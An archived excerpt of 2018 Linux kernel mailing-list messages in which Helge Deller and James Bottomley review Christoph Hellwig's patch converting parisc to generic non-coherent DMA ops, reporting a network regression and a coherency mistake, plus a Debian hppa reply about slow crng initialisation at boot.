 viA+IknP5niyYjUTX2abh+eSRLKnX+hq4sIqyULZB99cMBcaiNEIpVRtf0Osg/3vDp9pWFpTj
 3utMgk8CkryClTldWEJMB2tYKV+wK86Tb7o5ws6KMZK2mMQLuZJ8yf4XWdvNHcQzHHTgbaLZK
 7NZkazugsvzIdXm9h7NABK2fJcG4ExyP3lkURhD4PEG8np+dhZ1q6oxeekKyU3UYQxsjzMuJ 
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180421_104408_870761_8E9D1539 
X-CRM114-Status: GOOD (  27.89  )
X-Spam-Score: -0.7 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-0.7 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.7 RCVD_IN_DNSWL_LOW      RBL: Sender listed at http://www.dnswl.org/, low
 trust [212.227.17.21 listed in list.dnswl.org]
 0.0 FREEMAIL_FROM Sender email is commonly abused enduser mail provider
 (deller[at]gmx.de)
 -0.0 SPF_PASS               SPF: sender matches SPF record
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:3823 gmane.linux.kernel.cross-arch:43636 gmane.linux.ports.parisc:28543 gmane.linux.ports.sh.devel:56899 gmane.linux.ports.hexagon:1665 gmane.linux.kernel:2747076 gmane.linux.ports.alpha:4983 gmane.linux.ports.sparc:27725 gmane.linux.ports.arm.kernel:645098
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/3823>

On 20.04.2018 10:03, Christoph Hellwig wrote:
> Switch to the generic noncoherent direct mapping implementation.
> 
> Parisc previously had two different non-coherent dma ops implementation
> that just different in the way coherent allocations were handled or not
> handled.  The different behavior is not selected at runtime in the
> arch_dma_alloc and arch_dma_free routines.  The non-coherent allocation
> in the pcx cases now uses the dma_direct helpers that are a little more
> sophisticated and used by a lot of other architectures.
> 
> Fix sync_single_for_cpu to do skip the cache flush unless the transfer
> is to the device to match the more tested unmap_single path which should
> have the same cache coherency implications.
> 
> This also now consistenly uses flush_kernel_dcache_range for cache
> flushing while previously some of the SG based operations used
> flush_kernel_vmap_range instead.


This patch breaks a 32bit kernel on a B160L machine (PA7300LC CPU, "pcxl2").
After applying this patch series the lasi82956 network driver works unreliable. 
NIC gets IP, but ping doesn't work.
See drivers/net/ethernet/i825xx/lasi_82596.c, it uses dma*sync() functions.

Helge

 
> Signed-off-by: Christoph Hellwig <hch@lst.de>
> ---
>  arch/parisc/Kconfig                   |   4 +
>  arch/parisc/include/asm/dma-mapping.h |   5 -
>  arch/parisc/kernel/pci-dma.c          | 181 ++++----------------------
>  arch/parisc/kernel/setup.c            |   8 +-
>  arch/parisc/mm/init.c                 |  11 +-
>  5 files changed, 35 insertions(+), 174 deletions(-)
> 
> diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
> index 47047f0cbe35..80166a1cbcb7 100644
> --- a/arch/parisc/Kconfig
> +++ b/arch/parisc/Kconfig
> @@ -188,6 +188,10 @@ config PA20
>  config PA11
>  	def_bool y
>  	depends on PA7000 || PA7100LC || PA7200 || PA7300LC
> +	select ARCH_HAS_SYNC_DMA_FOR_CPU
> +	select ARCH_HAS_SYNC_DMA_FOR_DEVICE
> +	select DMA_NONCOHERENT_OPS
> +	select DMA_NONCOHERENT_CACHE_SYNC
>  
>  config PREFETCH
>  	def_bool y
> diff --git a/arch/parisc/include/asm/dma-mapping.h b/arch/parisc/include/asm/dma-mapping.h
> index 01e1fc057c83..44a9f97194aa 100644
> --- a/arch/parisc/include/asm/dma-mapping.h
> +++ b/arch/parisc/include/asm/dma-mapping.h
> @@ -21,11 +21,6 @@
>  ** flush/purge and allocate "regular" cacheable pages for everything.
>  */
>  
> -#ifdef CONFIG_PA11
> -extern const struct dma_map_ops pcxl_dma_ops;
> -extern const struct dma_map_ops pcx_dma_ops;
> -#endif
> -
>  extern const struct dma_map_ops *hppa_dma_ops;
>  
>  static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
> diff --git a/arch/parisc/kernel/pci-dma.c b/arch/parisc/kernel/pci-dma.c
> index 91bc0cac03a1..235e2e53959e 100644
> --- a/arch/parisc/kernel/pci-dma.c
> +++ b/arch/parisc/kernel/pci-dma.c
> @@ -21,13 +21,12 @@
>  #include <linux/init.h>
>  #include <linux/gfp.h>
>  #include <linux/mm.h>
> -#include <linux/pci.h>
>  #include <linux/proc_fs.h>
>  #include <linux/seq_file.h>
>  #include <linux/string.h>
>  #include <linux/types.h>
> -#include <linux/scatterlist.h>
> -#include <linux/export.h>
> +#include <linux/dma-direct.h>
> +#include <linux/dma-noncoherent.h>
>  
>  #include <asm/cacheflush.h>
>  #include <asm/dma.h>    /* for DMA_CHUNK_SIZE */
> @@ -447,178 +446,48 @@ static void pa11_dma_free(struct device *dev, size_t size, void *vaddr,
>  	free_pages((unsigned long)__va(dma_handle), order);
>  }
>  
> -static dma_addr_t pa11_dma_map_page(struct device *dev, struct page *page,
> -		unsigned long offset, size_t size,
> -		enum dma_data_direction direction, unsigned long attrs)
> +void arch_sync_dma_for_device(struct device *dev, phys_addr_t paddr,
> +		size_t size, enum dma_data_direction dir)
>  {
> -	void *addr = page_address(page) + offset;
> -	BUG_ON(direction == DMA_NONE);
> -
> -	if (!(attrs & DMA_ATTR_SKIP_CPU_SYNC))
> -		flush_kernel_dcache_range((unsigned long) addr, size);
> -
> -	return virt_to_phys(addr);
> +	flush_kernel_dcache_range((unsigned long)phys_to_virt(paddr), size);
>  }
>  
> -static void pa11_dma_unmap_page(struct device *dev, dma_addr_t dma_handle,
> -		size_t size, enum dma_data_direction direction,
> -		unsigned long attrs)
> +void arch_sync_dma_for_cpu(struct device *dev, phys_addr_t paddr,
> +		size_t size, enum dma_data_direction dir)
>  {
> -	BUG_ON(direction == DMA_NONE);
> -
> -	if (attrs & DMA_ATTR_SKIP_CPU_SYNC)
> -		return;
> -
> -	if (direction == DMA_TO_DEVICE)
> +	if (dir == DMA_TO_DEVICE)
>  		return;
>  
>  	/*
> -	 * For PCI_DMA_FROMDEVICE this flush is not necessary for the
> +	 * For DMA_FROM_DEVICE this flush is not necessary for the
>  	 * simple map/unmap case. However, it IS necessary if if
> -	 * pci_dma_sync_single_* has been called and the buffer reused.
> +	 * dma_sync_single_* has been called and the buffer reused.
>  	 */
>  
> -	flush_kernel_dcache_range((unsigned long) phys_to_virt(dma_handle), size);
> -}
> -
> -static int pa11_dma_map_sg(struct device *dev, struct scatterlist *sglist,
> -		int nents, enum dma_data_direction direction,
> -		unsigned long attrs)
> -{
> -	int i;
> -	struct scatterlist *sg;
> -
> -	BUG_ON(direction == DMA_NONE);
> -
> -	for_each_sg(sglist, sg, nents, i) {
> -		unsigned long vaddr = (unsigned long)sg_virt(sg);
> -
> -		sg_dma_address(sg) = (dma_addr_t) virt_to_phys(vaddr);
> -		sg_dma_len(sg) = sg->length;
> -
> -		if (attrs & DMA_ATTR_SKIP_CPU_SYNC)
> -			continue;
> -
> -		flush_kernel_dcache_range(vaddr, sg->length);
> -	}
> -	return nents;
> +	flush_kernel_dcache_range((unsigned long)phys_to_virt(paddr), size);
>  }
>  
> -static void pa11_dma_unmap_sg(struct device *dev, struct scatterlist *sglist,
> -		int nents, enum dma_data_direction direction,
> -		unsigned long attrs)
> -{
> -	int i;
> -	struct scatterlist *sg;
> -
> -	BUG_ON(direction == DMA_NONE);
> -
> -	if (attrs & DMA_ATTR_SKIP_CPU_SYNC)
> -		return;
> -
> -	if (direction == DMA_TO_DEVICE)
> -		return;
> -
> -	/* once we do combining we'll need to use phys_to_virt(sg_dma_address(sglist)) */
> -
> -	for_each_sg(sglist, sg, nents, i)
> -		flush_kernel_vmap_range(sg_virt(sg), sg->length);
> -}
> -
> -static void pa11_dma_sync_single_for_cpu(struct device *dev,
> -		dma_addr_t dma_handle, size_t size,
> -		enum dma_data_direction direction)
> -{
> -	BUG_ON(direction == DMA_NONE);
> -
> -	flush_kernel_dcache_range((unsigned long) phys_to_virt(dma_handle),
> -			size);
> -}
> -
> -static void pa11_dma_sync_single_for_device(struct device *dev,
> -		dma_addr_t dma_handle, size_t size,
> -		enum dma_data_direction direction)
> -{
> -	BUG_ON(direction == DMA_NONE);
> -
> -	flush_kernel_dcache_range((unsigned long) phys_to_virt(dma_handle),
> -			size);
> -}
> -
> -static void pa11_dma_sync_sg_for_cpu(struct device *dev, struct scatterlist *sglist, int nents, enum dma_data_direction direction)
> -{
> -	int i;
> -	struct scatterlist *sg;
> -
> -	/* once we do combining we'll need to use phys_to_virt(sg_dma_address(sglist)) */
> -
> -	for_each_sg(sglist, sg, nents, i)
> -		flush_kernel_vmap_range(sg_virt(sg), sg->length);
> -}
> -
> -static void pa11_dma_sync_sg_for_device(struct device *dev, struct scatterlist *sglist, int nents, enum dma_data_direction direction)
> -{
> -	int i;
> -	struct scatterlist *sg;
> -
> -	/* once we do combining we'll need to use phys_to_virt(sg_dma_address(sglist)) */
> -
> -	for_each_sg(sglist, sg, nents, i)
> -		flush_kernel_vmap_range(sg_virt(sg), sg->length);
> -}
> -
> -static void pa11_dma_cache_sync(struct device *dev, void *vaddr, size_t size,
> +void arch_dma_cache_sync(struct device *dev, void *vaddr, size_t size,
>  	       enum dma_data_direction direction)
>  {
>  	flush_kernel_dcache_range((unsigned long)vaddr, size);
>  }
>  
> -const struct dma_map_ops pcxl_dma_ops = {
> -	.alloc =		pa11_dma_alloc,
> -	.free =			pa11_dma_free,
> -	.map_page =		pa11_dma_map_page,
> -	.unmap_page =		pa11_dma_unmap_page,
> -	.map_sg =		pa11_dma_map_sg,
> -	.unmap_sg =		pa11_dma_unmap_sg,
> -	.sync_single_for_cpu =	pa11_dma_sync_single_for_cpu,
> -	.sync_single_for_device = pa11_dma_sync_single_for_device,
> -	.sync_sg_for_cpu =	pa11_dma_sync_sg_for_cpu,
> -	.sync_sg_for_device =	pa11_dma_sync_sg_for_device,
> -	.cache_sync =		pa11_dma_cache_sync,
> -};
> -
> -static void *pcx_dma_alloc(struct device *dev, size_t size,
> -		dma_addr_t *dma_handle, gfp_t flag, unsigned long attrs)
> +void *arch_dma_alloc(struct device *dev, size_t size, dma_addr_t *dma_handle,
> +		gfp_t gfp, unsigned long attrs)
>  {
> -	void *addr;
> -
> -	if ((attrs & DMA_ATTR_NON_CONSISTENT) == 0)
> -		return NULL;
> -
> -	addr = (void *)__get_free_pages(flag, get_order(size));
> -	if (addr)
> -		*dma_handle = (dma_addr_t)virt_to_phys(addr);
> -
> -	return addr;
> +	if (boot_cpu_data.cpu_type == pcxl2 || boot_cpu_data.cpu_type == pcxl)
> +		return pa11_dma_alloc(dev, size, dma_handle, gfp, attrs);
> +	if (attrs & DMA_ATTR_NON_CONSISTENT)
> +		return dma_direct_alloc(dev, size, dma_handle, gfp, attrs);
> +	return NULL;
>  }
>  
> -static void pcx_dma_free(struct device *dev, size_t size, void *vaddr,
> -		dma_addr_t iova, unsigned long attrs)
> +void arch_dma_free(struct device *dev, size_t size, void *cpu_addr,
> +		dma_addr_t dma_addr, unsigned long attrs)
>  {
> -	free_pages((unsigned long)vaddr, get_order(size));
> -	return;
> +	if (boot_cpu_data.cpu_type == pcxl2 || boot_cpu_data.cpu_type == pcxl)
> +		pa11_dma_free(dev, size, cpu_addr, dma_addr, attrs);
> +	else
> +		dma_direct_free(dev, size, cpu_addr, dma_addr, attrs);
>  }
> -
> -const struct dma_map_ops pcx_dma_ops = {
> -	.alloc =		pcx_dma_alloc,
> -	.free =			pcx_dma_free,
> -	.map_page =		pa11_dma_map_page,
> -	.unmap_page =		pa11_dma_unmap_page,
> -	.map_sg =		pa11_dma_map_sg,
> -	.unmap_sg =		pa11_dma_unmap_sg,
> -	.sync_single_for_cpu =	pa11_dma_sync_single_for_cpu,
> -	.sync_single_for_device = pa11_dma_sync_single_for_device,
> -	.sync_sg_for_cpu =	pa11_dma_sync_sg_for_cpu,
> -	.sync_sg_for_device =	pa11_dma_sync_sg_for_device,
> -	.cache_sync =		pa11_dma_cache_sync,
> -};
> diff --git a/arch/parisc/kernel/setup.c b/arch/parisc/kernel/setup.c
> index 8d3a7b80ac42..4e87c35c22b7 100644
> --- a/arch/parisc/kernel/setup.c
> +++ b/arch/parisc/kernel/setup.c
> @@ -97,14 +97,12 @@ void __init dma_ops_init(void)
>  		panic(	"PA-RISC Linux currently only supports machines that conform to\n"
>  			"the PA-RISC 1.1 or 2.0 architecture specification.\n");
>  
> -	case pcxs:
> -	case pcxt:
> -		hppa_dma_ops = &pcx_dma_ops;
> -		break;
>  	case pcxl2:
>  		pa7300lc_init();
>  	case pcxl: /* falls through */
> -		hppa_dma_ops = &pcxl_dma_ops;
> +	case pcxs:
> +	case pcxt:
> +		hppa_dma_ops = &dma_noncoherent_ops;
>  		break;
>  	default:
>  		break;
> diff --git a/arch/parisc/mm/init.c b/arch/parisc/mm/init.c
> index cab32ee824d2..4ad91c28ecbe 100644
> --- a/arch/parisc/mm/init.c
> +++ b/arch/parisc/mm/init.c
> @@ -19,7 +19,6 @@
>  #include <linux/gfp.h>
>  #include <linux/delay.h>
>  #include <linux/init.h>
> -#include <linux/pci.h>		/* for hppa_dma_ops and pcxl_dma_ops */
>  #include <linux/initrd.h>
>  #include <linux/swap.h>
>  #include <linux/unistd.h>
> @@ -616,17 +615,13 @@ void __init mem_init(void)
>  	free_all_bootmem();
>  
>  #ifdef CONFIG_PA11
> -	if (hppa_dma_ops == &pcxl_dma_ops) {
> +	if (boot_cpu_data.cpu_type == pcxl2 || boot_cpu_data.cpu_type == pcxl) {
>  		pcxl_dma_start = (unsigned long)SET_MAP_OFFSET(MAP_START);
>  		parisc_vmalloc_start = SET_MAP_OFFSET(pcxl_dma_start
>  						+ PCXL_DMA_MAP_SIZE);
> -	} else {
> -		pcxl_dma_start = 0;
> -		parisc_vmalloc_start = SET_MAP_OFFSET(MAP_START);
> -	}
> -#else
> -	parisc_vmalloc_start = SET_MAP_OFFSET(MAP_START);
> +	} else
>  #endif
> +		parisc_vmalloc_start = SET_MAP_OFFSET(MAP_START);
>  
>  	mem_init_print_info(NULL);
>  
> 

From - Thu Nov 08 21:41:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.debian.ports.hppa,gmane.linux.ports.parisc
Subject: Re: Ultra5 successful install - PGX64 issues
Date: Sat, 21 Apr 2018 15:12:03 -0400
Lines: 15
Approved: news@gmane.org
Message-ID: <ece0086b-6c7f-4c61-b101-475f085ec120@bell.net>
References: <CAFC0-0XVQUVHmM+TT4qUK_djRGx-eV+d=5FTpGyjRR40mwAv=Q@mail.gmail.com>
 <6a4e3490-dd3e-5832-43be-dba8211ce6e4@physik.fu-berlin.de>
 <dd60b1eb-595d-f208-2885-c958a5ff3a4c@blastwave.org>
 <16600fdc-6bba-1e2d-f106-560b8ea366c8@physik.fu-berlin.de>
 <9671ecea-1353-df1c-ebbd-24a5b7d3008b@oetec.com>
 <de1ac156-926a-c187-f15e-2c3da9251c82@web.de>
 <f34b2787-17e5-4fef-f028-543082ff95b6@gmx.de>
 <103f23dc-0d00-2ca1-fb98-271d1e03ad90@web.de>
 <2847ef55-b5b1-1867-df6a-ad5ce224abd4@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1524337817 29998 195.159.176.226 (21 Apr 2018 19:10:17 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 21 Apr 2018 19:10:17 +0000 (UTC)
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101
 Thunderbird/52.7.0
Cc: debian-hppa@lists.debian.org, linux-parisc
 <linux-parisc@vger.kernel.org>, Dennis Clarke <dc@oetec.com>
To: Helge Deller <deller@gmx.de>, Frank Scheiner <frank.scheiner@web.de>
Original-X-From: bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org Sat Apr 21 21:10:13 2018
Return-path: <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>
Envelope-to: debian-hppa@m.gmane.org
Original-Received: from bendel.debian.org ([82.195.75.100])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>)
	id 1f9xtk-0007k4-PN
	for debian-hppa@m.gmane.org; Sat, 21 Apr 2018 21:10:12 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by bendel.debian.org (Postfix) with QMQP
	id F18FD1EA; Sat, 21 Apr 2018 19:12:23 +0000 (UTC)
X-Mailbox-Line: From debian-hppa-request@lists.debian.org  Sat Apr 21 19:12:23 2018
Old-Return-Path: <dave.anglin@bell.net>
X-Original-To: lists-debian-hppa@bendel.debian.org
Delivered-To: lists-debian-hppa@bendel.debian.org
Original-Received: from localhost (localhost [127.0.0.1])
	by bendel.debian.org (Postfix) with ESMTP id 2580E1E4
	for <lists-debian-hppa@bendel.debian.org>; Sat, 21 Apr 2018 19:12:15 +0000 (UTC)
X-Virus-Scanned: at lists.debian.org with policy bank en-lt
X-Amavis-Spam-Status: No, score=-7.699 tagged_above=-10000 required=5.3
	tests=[BAYES_00=-2, LDO_WHITELIST=-5, RCVD_IN_DNSWL_LOW=-0.7,
	UNPARSEABLE_RELAY=0.001] autolearn=ham autolearn_force=no
Original-Received: from bendel.debian.org ([127.0.0.1])
	by localhost (lists.debian.org [127.0.0.1]) (amavisd-new, port 2525)
	with ESMTP id AcirWXy8xOSU for <lists-debian-hppa@bendel.debian.org>;
	Sat, 21 Apr 2018 19:12:08 +0000 (UTC)
Original-Received: from mtlfep02.bell.net (belmont80srvr.owm.bell.net [184.150.200.80])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "", Issuer "Openwave Messaging Inc." (not verified))
	by bendel.debian.org (Postfix) with ESMTPS id 6609B1D6
	for <debian-hppa@lists.debian.org>; Sat, 21 Apr 2018 19:12:08 +0000 (UTC)
Original-Received: from bell.net mtlfep02 184.150.200.30 by mtlfep02.bell.net
          with ESMTP
          id <20180421191204.NGC8528.mtlfep02.bell.net@mtlspm01.bell.net>
          for <debian-hppa@lists.debian.org>;
          Sat, 21 Apr 2018 15:12:04 -0400
Original-Received: from [192.168.2.49] (really [69.158.175.55]) by mtlspm01.bell.net
          with ESMTP
          id <20180421191204.NLQU28394.mtlspm01.bell.net@[192.168.2.49]>;
          Sat, 21 Apr 2018 15:12:04 -0400
In-Reply-To: <2847ef55-b5b1-1867-df6a-ad5ce224abd4@gmx.de>
Content-Language: en-US
X-Cloudmark-Analysis: v=2.2 cv=XaJm9Mx5 c=1 sm=0 tr=0 a=V8DPTAhloC/wURew+oITug==:17 a=IkcTkHD0fZMA:10 a=Kd1tUaAdevIA:10 a=pXP92DxaAAAA:8 a=FBHGMhGWAAAA:8 a=5JRNQ8dZp8I8gPEG4VUA:9 a=QEXdDO2ut3YA:10 a=Nm1QokaY1QAA:10 a=aNL1Q43idgwuPlLPj8Q8:22 a=9gvnlMMaQFpL9xblJ6ne:22
X-Rc-Virus: 2007-09-13_01
X-Rc-Spam: 2008-11-04_01
Resent-Message-ID: <FtxhIutLK6G.A.ruB.X042aB@bendel>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/8710
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-URL: <https://lists.debian.org/debian-hppa/>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
List-Archive: https://lists.debian.org/msgid-search/ece0086b-6c7f-4c61-b101-475f085ec120@bell.net
Resent-Date: Sat, 21 Apr 2018 19:12:23 +0000 (UTC)
Xref: news.gmane.org gmane.linux.debian.ports.hppa:7726 gmane.linux.ports.parisc:28544
Archived-At: <http://permalink.gmane.org/gmane.linux.debian.ports.hppa/7726>

On 2018-04-20 2:37 AM, Helge Deller wrote:
>> Also interesting, the kernel messages for 4.15.11, please notice the
>> time difference between "random: crng init done" and "Key type
>> asymmetric registered":
> Seems to be a generic issue.
> https://www.linuxquestions.org/questions/showthread.php?p=5803405#post5803405
>
> My assumption is, that the kernel waits until it has
> enough randomness for the various encryption algorithms.
I think this is caused by cryptomgr_test.  It can be disabled with 
"cryptomgr.notests" on command
line.

Dave


From - Thu Nov 08 21:41:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc
Subject: Re: [PATCH 22/22] parisc: use generic dma_noncoherent_ops
Date: Sat, 21 Apr 2018 22:42:47 +0100
Lines: 38
Approved: news@gmane.org
Message-ID: <1524346967.3335.9.camel@HansenPartnership.com>
References: <20180420080313.18796-1-hch@lst.de>
         <20180420080313.18796-23-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1524346912 23051 195.159.176.226 (21 Apr 2018 21:41:52 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 21 Apr 2018 21:41:52 +0000 (UTC)
Cc: linux-arch@vger.kernel.org, Michal Simek <monstr@monstr.eu>,
        Greentime Hu <green.hu@gmail.com>,
        Vincent Chen <deanbo422@gmail.com>,
        linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        linux-hexagon@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        nios2-dev@lists.rocketboards.org, openrisc@lists.librecores.org,
        linux-parisc@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
        linux-kernel@vger.kernel.org
To: Christoph Hellwig <hch@lst.de>
Original-X-From: linux-kernel-owner@vger.kernel.org Sat Apr 21 23:41:46 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fA0GN-0005nt-Rk
	for glk-linux-kernel-4@m.gmane.org; Sat, 21 Apr 2018 23:41:45 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753319AbeDUVnn (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Sat, 21 Apr 2018 17:43:43 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:37292 "EHLO
        bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
        by vger.kernel.org with ESMTP id S1753208AbeDUVnk (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Sat, 21 Apr 2018 17:43:40 -0400
Original-Received: from localhost (localhost [127.0.0.1])
        by bedivere.hansenpartnership.com (Postfix) with ESMTP id 5A6548EE293;
        Sat, 21 Apr 2018 14:43:39 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
        by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
        with ESMTP id j1c0brfn0tXU; Sat, 21 Apr 2018 14:43:39 -0700 (PDT)
Original-Received: from [192.168.40.139] (unknown [80.169.201.162])
        (using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits))
        (No client certificate requested)
        by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 99CFF8EE062;
        Sat, 21 Apr 2018 14:43:35 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=hansenpartnership.com;
        s=20151216; t=1524347019;
        bh=kEvjgfbLMupXTTrgLua+DoW/ew+TwXcXtmmo4ZLyU5U=;
        h=Subject:From:To:Cc:In-Reply-To:References:Date:From;
        b=CF5gKdSDf/rrIj4dkjkaASDEblkK50Zb8OG4PPi+BeT9rKiQ/zIhy0BB190bya6A9
         9eTvmnlGOnQ69hpHMedshOsIUzaYGTEX6PohbFsGTk/ggzbMhjRrvBtQNfepOaC894
         beFK7LnTn+hmAf05wa/ZNjFP7Byjp8EHddkcEGsI=
In-Reply-To: <20180420080313.18796-23-hch@lst.de>
X-Mailer: Evolution 3.22.6 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2747105 gmane.linux.kernel.cross-arch:43637 gmane.linux.ports.alpha:4984 gmane.linux.kernel.arc:3824 gmane.linux.ports.arm.kernel:645104 gmane.linux.ports.hexagon:1666 gmane.linux.ports.parisc:28545 gmane.linux.ports.sh.devel:56900 gmane.linux.ports.sparc:27726
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2747105>

On Fri, 2018-04-20 at 10:03 +0200, Christoph Hellwig wrote:
> diff --git a/arch/parisc/kernel/setup.c b/arch/parisc/kernel/setup.c
> index 8d3a7b80ac42..4e87c35c22b7 100644
> --- a/arch/parisc/kernel/setup.c
> +++ b/arch/parisc/kernel/setup.c
> @@ -97,14 +97,12 @@ void __init dma_ops_init(void)
>  		panic(	"PA-RISC Linux currently only supports
> machines that conform to\n"
>  			"the PA-RISC 1.1 or 2.0 architecture
> specification.\n");
>  
> -	case pcxs:
> -	case pcxt:
> -		hppa_dma_ops = &pcx_dma_ops;
> -		break;
>  	case pcxl2:
>  		pa7300lc_init();
>  	case pcxl: /* falls through */
> -		hppa_dma_ops = &pcxl_dma_ops;
> +	case pcxs:
> +	case pcxt:
> +		hppa_dma_ops = &dma_noncoherent_ops;
>  		break;
>  	default:
>  		break;

Well, this is wrong: you just made every 32 bit parisc system
unnecessarily use non-coherent.  We actually only have a small small
set of non-coherent systems.  The pxcs and pcxt systems (which are
about 99% of the user base) can use coherent dma ops.  The problem
seems to be in your new world you only have one dma_noncoherent_ops
pointer ... we definitely need two on parisc, so whether
arch_dma_cache_sync is present or not needs to be dynamic not config
defined.

James



From - Thu Nov 08 21:41:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc
Subject: Re: [PATCH 22/22] parisc: use generic dma_noncoherent_ops
Date: Sat, 21 Apr 2018 22:52:17 +0100
Lines: 44
Approved: news@gmane.org
Message-ID: <1524347537.3335.12.camel@HansenPartnership.com>
References: <20180420080313.18796-1-hch@lst.de>
         <20180420080313.18796-23-hch@lst.de>
         <e0b4f3be-68b9-c3af-e432-fd20419e2d70@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1524347630 6539 195.159.176.226 (21 Apr 2018 21:53:50 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 21 Apr 2018 21:53:50 +0000 (UTC)
Cc: linux-arch@vger.kernel.org, Michal Simek <monstr@monstr.eu>,
        Greentime Hu <green.hu@gmail.com>,
        Vincent Chen <deanbo422@gmail.com>,
        linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        linux-hexagon@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        nios2-dev@lists.rocketboards.org, openrisc@lists.librecores.org,
        linux-parisc@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, linux-kernel@vger.kernel.org
